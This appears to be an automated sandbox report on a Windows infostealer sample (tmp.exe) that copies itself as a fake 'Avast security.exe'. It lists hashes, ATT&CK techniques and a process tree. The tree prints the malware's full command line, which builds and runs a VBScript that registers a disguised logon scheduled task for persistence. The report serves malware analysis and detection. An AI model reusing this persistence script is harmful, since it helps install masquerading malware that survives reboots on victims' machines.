91b63191b54828c4d3f881bfd47d63644d55a9d9f28365ca54d1c20de3a52ed9

General

Target

tmp.exe
Size

2.0MB
MD5

a5889d022b6719928d911c4d95586fa5
SHA1

14cb734dfa63261e2323316e3ab3e17ecacb9808
SHA256

91b63191b54828c4d3f881bfd47d63644d55a9d9f28365ca54d1c20de3a52ed9
SHA512

bc5de06959169b5940f5cc0477db7d56994506e37077b1c4e68fb4e588ab95cae5878a9ff312c07b108799aab0ac382b5701633b1d4f726c531de66c9b1e6936
SSDEEP

12288:gpRhyQwI+mkC3K5QW93TjIo7ts9DhGvd4e1MxdYy7OaADQBTjsrGzgRLYlWPEKmC:S9k15Qijoh5xdbkrjmKeHWl5D3

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1900	Avast security.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2004	tmp.exe
1900	Avast security.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2004	tmp.exe
Token: SeDebugPrivilege	1900	Avast security.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2004 wrote to memory of 676	2004	tmp.exe	29
PID 2004 wrote to memory of 676	2004	tmp.exe	29
PID 2004 wrote to memory of 676	2004	tmp.exe	29
PID 676 wrote to memory of 1900	676	cmd.exe	31
PID 676 wrote to memory of 1900	676	cmd.exe	31
PID 676 wrote to memory of 1900	676	cmd.exe	31
PID 1900 wrote to memory of 976	1900	Avast security.exe	32
PID 1900 wrote to memory of 976	1900	Avast security.exe	32
PID 1900 wrote to memory of 976	1900	Avast security.exe	32
PID 976 wrote to memory of 1932	976	cmd.exe	34
PID 976 wrote to memory of 1932	976	cmd.exe	34
PID 976 wrote to memory of 1932	976	cmd.exe	34

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Mozilla\Avast security.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:676
- - C:\Users\Admin\AppData\Roaming\Mozilla\Avast security.exe
    "C:\Users\Admin\AppData\Roaming\Mozilla\Avast security.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1900
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Avast corporation" : regInfo.Description="Avast security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger : Set trigger=triggers.Create(TriggerTypeLogon) : userId=CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") : trigger.Id="LogonTriggerId" : trigger.UserId=userId : Dim Action : Set Action=taskDefinition.Actions.Create(ActionTypeExecutable) : Action.Path="C:\Users\Admin\AppData\Roaming\Mozilla\Avast security.exe" : taskDefinition.Principal.UserId=userId : taskDefinition.Principal.LogonType=TASK_LOGON_INTERACTIVE_TOKEN : call rootFolder.RegisterTaskDefinition("Avast security", taskDefinition, createOrUpdateTask, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN) > "C:\Users\Admin\AppData\Local\Temp\tmpFE3D.vbs" & cscript //nologo "C:\Users\Admin\AppData\Local\Temp\tmpFE3D.vbs" & del /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\tmpFE3D.vbs" & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:976
    - - C:\Windows\system32\cscript.exe
        
        cscript //nologo "C:\Users\Admin\AppData\Local\Temp\tmpFE3D.vbs"
        5⤵
        
        PID:1932

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\tmpFE3D.vbs

Filesize
1KB

MD5
cf2855a6fcddc15aa1e22f4c582f9648

SHA1
18a03506f96511a31c2f212976015196e2965c11

SHA256
685acebd43141ce3c81da908dc0c337438f6ffbdaf888cc854d8fd6583a3bbda

SHA512
b1af0b9936eaa3642070ce5dd00db3e617ce72ac46557b0663a9883eb1c8de8a58a4a94892fed946e3b210d0a533ed4d25bfe505cb8672e0ad828f6297c348ab

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Avast security.exe

Filesize
2.0MB

MD5
a5889d022b6719928d911c4d95586fa5

SHA1
14cb734dfa63261e2323316e3ab3e17ecacb9808

SHA256
91b63191b54828c4d3f881bfd47d63644d55a9d9f28365ca54d1c20de3a52ed9

SHA512
bc5de06959169b5940f5cc0477db7d56994506e37077b1c4e68fb4e588ab95cae5878a9ff312c07b108799aab0ac382b5701633b1d4f726c531de66c9b1e6936

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Avast security.exe

Filesize
2.0MB

MD5
a5889d022b6719928d911c4d95586fa5

SHA1
14cb734dfa63261e2323316e3ab3e17ecacb9808

SHA256
91b63191b54828c4d3f881bfd47d63644d55a9d9f28365ca54d1c20de3a52ed9

SHA512
bc5de06959169b5940f5cc0477db7d56994506e37077b1c4e68fb4e588ab95cae5878a9ff312c07b108799aab0ac382b5701633b1d4f726c531de66c9b1e6936

Download Submit
memory/676-56-0x0000000000000000-mapping.dmp

Download
memory/976-62-0x0000000000000000-mapping.dmp

Download
memory/1900-57-0x0000000000000000-mapping.dmp

Download
memory/1900-60-0x0000000000980000-0x0000000000B7C000-memory.dmp

Filesize
2.0MB

Download
memory/1932-63-0x0000000000000000-mapping.dmp

Download
memory/2004-54-0x0000000000A20000-0x0000000000C1C000-memory.dmp

Filesize
2.0MB

Download
memory/2004-55-0x000007FEFB941000-0x000007FEFB943000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing